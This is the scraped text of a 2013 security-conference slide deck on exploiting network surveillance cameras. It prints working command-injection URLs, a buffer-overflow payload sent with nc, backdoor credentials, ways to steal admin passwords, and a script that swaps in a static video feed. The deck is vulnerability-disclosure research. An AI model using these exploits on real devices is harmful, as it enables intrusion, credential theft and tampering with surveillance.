US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Craig Heffner, Tactical Network Solutions

Exploiting Surveillance CamerasLike a Hollywood Hacker

Friday, July 12, 2013

Introduction

✤ Embedded vulnerability analyst for Tactical Network Solutions

✤ Embedded Device Exploitation course instructor

✤ I do wireless stuff from time to time too

Objectives

✤ Analyze surveillance camera security

✤ Drop some 0-days

✤ Demo a true Hollywood-style hack

D-Link DCS-7410

Lighttpd Access Rules

What Isn’t in the Access Rules?

rtpd.cgi

eval($QUERY_STRING)

✤ http://192.168.1.101/cgi-bin/rtpd.cgi?action=stop

The Exploit (No, Seriously...)

✤ http://192.168.1.101/cgi-bin/rtpd.cgi?reboot

Grabing Admin Creds

✤ /cgi-bin/rtpd.cgi?echo&AdminPasswd_ss|tdb&get&HTTPAccount

pwned.

Also Affected

Shodan Dork

CVE-2013-1599

✤ Disclosed by Core Security after talk submission

WVC80N

/img/snapshot.cgi

/adm/ez.cgi

strcpy(dest, QUERY_STRING)

/img/snapshot.cgi?A*152

Where to Return?

Return to sub_9B88

✤ PAYLOAD=$(perl -e 'print "A"x148; print "\x88\x9B"')

✤ echo -ne "GET /img/snapshot.cgi?$PAYLOAD HTTP/1.0\r\n\r\n" | nc 192.168.1.100 80

When Base64 Isn’t Base64

BEST. USER GUIDE. EVER.

Decoded Config

pwned.

Also Affected

Shodan Dorks

Cisco PVC-2300

.htpasswd Protection

/usr/local/www/oamp

cgi_get_value(var_18, “action”)

Valid Actions

✤ downloadConfigurationFile

✤ uploadConfigurationFile

✤ updateFirmware

✤ loadFirmware

✤ ...

getenv(“SESSIONID”)

strcasecmp(“login”, action)

cgi_get_value(var_10, “user”)

cgi_get_value(var_10, “password”)

PRO_GetStr(“OAMP”, “l1_usr”, ...)

PRO_GetStr(“OAMP”, “l1_pwd”, ...)

strcmp(user, l1_usr)

strcmp(password, l1_pwd)

Where are l1_usr and l1_pwd?

Getting a Session ID

✤ $ wget http://192.168.1.101/oamp/System.xml?action=login&user=L1_admin&password=L1_51

downloadConfigurationFile

✤ $ wget --header=”sessionID: 57592414” \ http://192.168.1.101/oamp/System.xml?\ action=downloadConfigurationFile

When Base64 Isn’t Base64

Non-Standard Key String

Decoded Config

pwned.

action=loadFirmware

pwned x2

✤ $ wget --header=”sessionID: 57592414” \ http://192.168.1.101/oamp/System.xml?\ action=loadFirmware&url=https://127.0.0.1:65534/;reboot;

Also Affected

Shodan Dork

IQInvision IQ832N

Default Unauth Video Feed

Admin Area Password Protected

oidtable.cgi

strstr(QUERY_STRING, “grep=”)

if(strlen(grep) < 32)

sprintf(“grep -i ‘%s’...”)

popen(“grep -i ‘%s’...”)

Command Injection

✤ http://192.168.1.101/oidtable.cgi?grep='$IFS/tmp/a;ps;'

✤ grep -i ‘’ /tmp/a;ps;’’ /tmp/oidtable.html

Retrieving Arbitrary Files

✤ http://192.168.1.101/oidtable.cgi?grep='$IFS/etc/privpasswd;'

✤ grep -i ‘’ /etc/privpasswd;’’ /tmp/oidtable.html

Encrypted Admin Password

Decrypted Admin Password

pwned.

Also Affected

Shodan Dork

✤ jht

3SVision N5071

Restricted Firmware Download

Use the Source, Luke

Literacy FTW

/home/3s/bin

pwdgrp_get_userinfo

Hardest. Exploit. Ever.

pwned.

do_records

records.cgi?action=remove

strstr(cgi_parameters, “&filename”)

system(“rm /mnt/sd/media/%s”)

pwned x2

✤ $ wget \ --user=3sadmin --password=27988303 \ 'http://192.168.1.101/records.cgi?\ action=remove&storage=sd&filename=`reboot`'

Also Affected

Shodan Dorks

So Basically...

✤ I’m in your network.

✤ I can see you.

✤ And I’m root.

Let’s Turn This...

...Into This.

Trendnet TV-IP410WN

Has a Backdoor Account

productmaker:ftvsbannedcode

That Can Access These Files

Which Have Command Injection

That Can Be Trivially Exploited

✤ http://192.168.1.101/cgi/maker/ptcmd.cgi?cmd=;ls

✤ system(“/sbin/ptctrl ;ls”)

By Anyone, Anywhere

What’s Old is New Again

✤ Vulnerability first published in 2011

✤ Report did not mention any specific devices

✤ Everyone ignored it...

Shodan Dork

Admin’s Video Feed

mjpg.cgi

Killing mjpg.cgi

✤ http://192.168.1.101/cgi/maker/ptcmd.cgi?cmd=;kill$IFS-9$IFS379

Replacing mjpg.cgi

#!/bin/sh

echo -ne “HTTP/1.1 200 OK\r\n Content-Type: image/jpeg\r\n\r\n”

cat /tmp/static_img.jpg

Admin’s Video Feed

What’s Really Happening

Demo Time!

Closing Thoughts

✤ Lots more bugs where these came from

✤ Cameras reveal their model number in the login prompt

✤ All exploits developed exclusively from firmware update files

✤ Binwalk + IDA + Qemu == WIN.

Contact

✤ cheffner@tacnetsol.com

✤ http://www.tacnetsol.com

✤ @devttys0

✤ http://www.devttys0.com/blog

US 13 Heffner Exploiting Network Surveillance Cameras Like a Hollywood Hacker Slides

Documents

Hacker Intelligence Summary Report – Monitoring Hacker Forums · Hacker Intelligence Initiative, Monthly Trend Report 5. Commerce – A key function of hacker forums is commerce

Stan Heffner- Key Note Speaker-Basa bfk-06292012

HISTÓRIA DA CENSURA CINEMATOGRÁFICA NO BRASIL HERNANI HEFFNER

CERTIFIED ETHICAL HACKER Ethical Hacker Certified Ethical Hacker v10: Course Description The Certified Ethical Hacker program is a trusted and respected ethical hacking training Program

Wireless Threats and Practical Exploits · 9/2007: Pentagon Federal Credit Union, Citibank Hacker "Max Vision" (Max Butler) was indicted in 2001 for exploiting hundreds of military

Heffner Wetland Facility Roof Garden - KB Home

Hacker & Cracker Ma. Isabel Reyes Sánchez. CONTENIDO HACKER HACKER - DEFINICION -ORIGENES -ACTIVISMO & ETICA -SIMBOLOS & PERSONAJES DESTACADOS CRACKER

The Great Depression Ryan Braunsberg, Jake Heffner, and David Hawley

How to Hack Millions of Routers - DEF CON · PDF fileHow to Hack Millions of Routers Author: Craig Heffner Keywords: Defcon, DEF CON, Hacker,Security Conference, Presentations,Technology,Phreaking,Lockpicking,hackers

Ohio Ethics Form - Heffner

Hacker Autogyro „Calidus 50E“ - · PDF fileAnleitung / Manual Hacker Autogyro „alidus © 2013 Hacker Motor GmbH Seite / page 1 Hacker Autogyro „Calidus 50E“ Montage- und

November 9, 2013 Heffner Alumni House 10 am AIGC Meeting

4. Heffner Chest 1997

Randy Heffner Vice President Forrester Research

Exploiting Network Printersnds.rub.de/media/ei/arbeiten/2017/01/13/exploiting-printers.pdf · Remember the old hacker days when Angelina Jolie and Jonny Miller went dumpster diving

DEFCON 18 Heffner Routers WP

Grayson Heffner - Smart Grids and Smart Customer Policies for Asia

BlackHat USA 2010 Heffner How to Hack Millions of Routers Slides

Sound localization and its relation to vision in large and small new-world bats G. Koay, H.E. Heffner, R.S. Heffner Dept. of Psychology University of Toledo

Gail Gunst Heffner, Clarence W. Joldersma, David … · Gail Gunst Heffner, Clarence W. Joldersma, David Warners, Randy Van Dragt Calvin College, Grand Rapids, Michigan, USA 9/24/2009